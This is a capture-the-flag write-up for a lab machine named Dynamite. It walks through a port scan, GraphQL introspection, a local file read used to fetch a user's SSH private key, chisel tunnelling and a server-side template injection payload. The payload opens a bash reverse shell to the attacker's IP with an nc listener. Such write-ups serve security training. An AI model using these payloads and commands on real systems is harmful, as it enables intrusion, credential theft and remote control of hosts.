- Published on
Dynamite Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165
Port Scanning
export IP= ...
nmap -sV -sC -p- -v $IP --min-rate 3000

Only the ports 22 (SSH), 80 (HTTP) and 8080 (HTTP) was found opened.
Enumeration
When we open the aplication, we notice a POST request for the graphql api

Adding the domain in our /etc/hosts config file
sudo vim /etc/hosts

Now we can access the GraphQL api at port 8080

Usually, the main problem with GraphQL is the Introspection, and we can enumerate everything in the API.
To do so, we just pass the query in the POST request:
{"query":"{ __schema { types { name kind description fields { name description args { name description type { name kind ofType { name kind } } } type { name kind ofType { name kind } } } } } }"}
I used curl in this case:
curl -s -X POST http://dynamite.hc:8080/graphql \
-H 'Content-Type: application/json' \
--data-raw '{"query":"{ __schema { types { name kind description fields { name description args { name description type { name kind ofType { name kind } } } type { name kind ofType { name kind } } } } } }"}' | jq > results.json

Now we have a problem, we need to filter the results, because its a lot of data and not everything is usefull.
cat results.json | jq '.data.__schema.types[]
| select(.fields != null)
| {type: .name, fields: [.fields[] | {field: .name, args: [.args[]?.name]}]}'

Checking the results, we can see there is a query named file
.
LFR? 😋

After testing, we see some kind of protection blocking our Local File Read.
When i checked the robots.txt file, i noticed the file main.go

The main.go file is the application source code.

I asked GPT to fix the lines for me.
Analysing the code, we can see the regex blocking our LFR:

However, since is a go application, we can test for race condition, recently the channel LiveOverFlow posted about this Go vulnerability.
This application in specifically have an sleep in it, which make the things easier for us.
Basically, we need to pass two requests.
Request 1:
We send the actual file that we want to read.

Right after send the first request, we send another one, since we can read the main.go file, i read it.
Request 2

And we bypassed the filter with success 😋

Foot Hold
Reading the /etc/passwd file, we noticed an user named dyna. It was possible get the ssh key.
query={file(path:"/home/dyna/.ssh/id_rsa"){content}}

With the id_rsa key in hands, we had our initial access
chmod 600 id_rsa
ssh dyna@172.16.12.67 -i id_rsa

Privillege Escalation
Internal application running at port 5000
ss -tulnp

I used chisel to port foward the application, so we can access in our machine.
https://github.com/jpillora/chisel
Attacker Machine
python3 -m http.server 80

Target Machine
curl 10.0.31.150/chisel -o /tmp/chisel
chmod +x /tmp/chisel

Now lets start de chisel server on our machine
./chisel server -p 9000 --reverse

Then, we set the client to foward the connection on the target machina
./chisel client 10.0.31.150:9000 R:9023:127.0.0.1:5000

Now we can check the application from our machine

After passing the payload {{7*7}}
, the application reflects the number 49, confirming a SSTI (Server Side Template Injection) vulnerability

It was possible to get an RCE with the SSTI, passing the payload:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("/bin/bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'").read().zfill(417)}}{%endif%}{% endfor %}

nc -lnvp 1337

Proof
